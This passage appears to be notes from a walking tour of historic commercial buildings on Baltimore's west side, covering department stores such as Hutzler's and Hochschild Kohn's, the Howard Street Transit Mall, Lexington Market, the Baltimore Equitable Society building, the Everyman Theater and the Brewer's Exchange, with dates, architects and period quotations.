- 1904: Louis Stewart acquired the building, turned Samuel Posner’s dry goods store into Stewart’s Department Store
- Opened its first suburban store in 1953 on York Road followed by Reisterstown Road Plaza in 1962, Timonium Mall in 1969, Westview Shopping Center in 1969, and Golden Ring Mall in Rosedale, Maryland, in 1974.
- 1978: Downtown store was closed, acquired in 1979 by Harry Weinberg
- 2006-2007: Restored with historic tax credits
Hoschild Kohn’s Site
”Hutzler’s was the premier store. Hocschild’s was for common people like me. I’m a common person. I curse, I drink. Oh my, I’m a horrible man” — William Donald Schaefer
Howard Street
Howard Street Transit Mall (1980s)
- Proposals for Howard Street Transit Mall discussed through the late 1970s, eventually scaled down to the two blocks located north and south of Lexington Street, opened in November 1986
May 7, 1984: ”This is a truncated, Reagan-era, version of the grand mall that was envisioned for Howard street and favored by the Urban Mass Transit Administration during the Carter administration, examples of which elsewhere are Chestnut street in Philadelphia, F Street in Washington, and State street in Chicago.”
November 22, 1986: ”Some people will like the new arched lamp posts and other street furniture. Others may not. It all suggests an internal mall without a roof. But to comment properly, you have to see it for yourself. Howard Street was going down for years. Now it is looking up.”5
Hutzler’s Palace Building (1888) – Howard Street
- 1858: Moses Hutzler opened his little retail store on Howard Street and Clay. Over the next fifty years, other stores, both small and large, joined him, opening up and down Howard Street.
- 1868: Established the “One-Price House” policy, no haggling
- 1888: Expanded to open Palace Building, 200 employees,
Palace building designed architects Baldwin & Pennington. Neoclassical architecture, Nova Scotia gray stone, carved with arabesque heads and foliage, and large display windows.
Hutzler’s Tower (1931) – Howard Street
- 1931:Hutzler’s Tower Building, 254 NorthHoward Street, designed by James R. Edmunds (trained in the office of Joseph Evans Sperry), planned literally to “tower” over the old Palace building on the south.
- 1977 September: “Baltimore Gardens” proposal advanced to redevelop the block including Hoschild Kohn and Hutzlers
- 1978: Downtown store closed
Lexington Market
- 1782: Established on land donated by General John Eager Howard, named for Battle of Lexington. Ralph Waldo Emerson visited Lexington Market, described as “gastronomic capital of the world.”
- 1952: Rebuilt following 1949 fire, expanded in 1980s
1885: “Old Baltimore Inns” by Walter Edgar McCann, Frank Leslie’s Popular Monthly:
“Some day the romance of the old national road, over which there was once so much traffic should be written. The Conestoga wagon was a vast machine generally painted blue and with a huge white canvas top, and drawn by six or eight magnificent horses hung with bells. There was in the old days an endless line of these to and from the West, each attended by its equipment of teamsters in their white frocks, and filled with goods of various sorts The flour bacon and other things were brought to Baltimore and exchanged for groceries and drygoods. At night in the Spring and Fall, the streets in the neighborhood of the present Lexington Market were blocked up with these equipages.”
Fayette Street
Alewife/Euitable Insurance Company (1847) – Eutaw and Fayette Streets (SW)
- 1847: Built as the Eutaw Savings Bank
- 1888: Bank moved across the street, Baltimore Equitable Society moved in and occupied the building until 2003
The Baltimore Equitable Society is the oldest corporation in the city and the third-oldest fire insurance company in the United States.
- “Fire Mark” — The Sign of the Clasped Hands, so frequently seen on the exterior of houses in the region, means that the home is (or was) insured by the Baltimore Equitable Society (Baltimore Equitable Insurance).
- 1904: Great Baltimore Fire effected 455 Baltimore Equitable policyholders; the Society incurred losses of nearly $2 million but all policy holders were promptly paid in full.
Everyman Theater/Town Theater (1911) – 315 West Fayette Street
- 1911: Built as the Empire Theater, designed in the Beaux Arts style by Baltimore architects William McElfatrick and Otto Simonson, closed in 1927.
- 1937: Converted to a parking garage
- 1947: Returned as The Town Theater in with Art Moderne details by architects Lucius White and John Zinc. Opened with a premier of “It’s a Wonderful Life,” with Jimmy Stewart in the audience.
- 2011: Reopened as the new Everyman Theater
Brewer’s Exchange (1896) – 20 Park Avenue (at Fayette Street)
- 1896: Brewing industry group builds a rhree-story Renaissance Revival style building designed by local architect Joseph Evans Sperry
Joseph Evans Sperry (1854-1930): Native of Georgetown, South Carolina relocated to Baltimore as a young man, also designed Provident Savings Bank and the Emerson “Bromo-Seltzer” Tower.
- The façade is faced with terra cotta and includes such decorative elements as two-story half-round Ionic pilasters, cartouches, pediments, window surrounds, a garland frieze, and a balustrade at the edges of a flat roof.
- Erected as a center for negotiating commodities used by the brewing industry, the Brewers Exchange has association with this important aspect of Baltimore’s history, though used by the exchange for only a short time.
- 1906: The Exchange sold the building to the Mercantile Savings Bank. Building later known also as Murdock Place, when used as offices for urban renewal efforts on the West Side


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